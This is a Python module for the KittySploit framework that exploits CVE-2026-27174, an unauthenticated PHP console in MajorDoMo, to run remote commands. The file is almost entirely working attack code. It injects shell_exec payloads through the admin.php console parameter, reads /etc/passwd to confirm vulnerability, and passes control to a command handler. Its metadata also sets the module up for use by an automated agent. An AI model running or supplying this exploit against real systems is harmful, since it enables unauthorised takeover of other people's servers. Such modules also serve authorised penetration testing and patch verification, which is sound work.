MajorDoMo Admin Console RCE (CVE-2026-27174)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""MajorDoMo unauthenticated admin console PHP execution (CVE-2026-27174)."""

import re
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'MajorDoMo Admin Console RCE (CVE-2026-27174)',
        'description': (
            'Exploits CVE-2026-27174 in MajorDoMo: unauthenticated access to the admin '
            'PHP console via /admin.php?ajax_panel=1&op=console&command= allows arbitrary '
            'PHP/code execution.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2026-27174'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2026-27174',
            'https://chocapikk.com/posts/2026/majordomo-revisited',
        ],
        'tags': ['majordomo', 'php', 'rce', 'unauth', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2026_27174_detect'],
            },
        },
    }

    def execute(self, cmd: str) -> str:
        php = f'echo shell_exec({cmd!r});'
        path = (
            '/admin.php?ajax_panel=1&op=console&command='
            + urllib.parse.quote(php, safe='')
        )
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('cat /etc/passwd')
        if re.search(r'root:[x*]:0:0:', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2026-27174 console execution confirmed',
                'confidence': 'high',
            }
        return {'vulnerable': False, 'reason': 'No command output', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()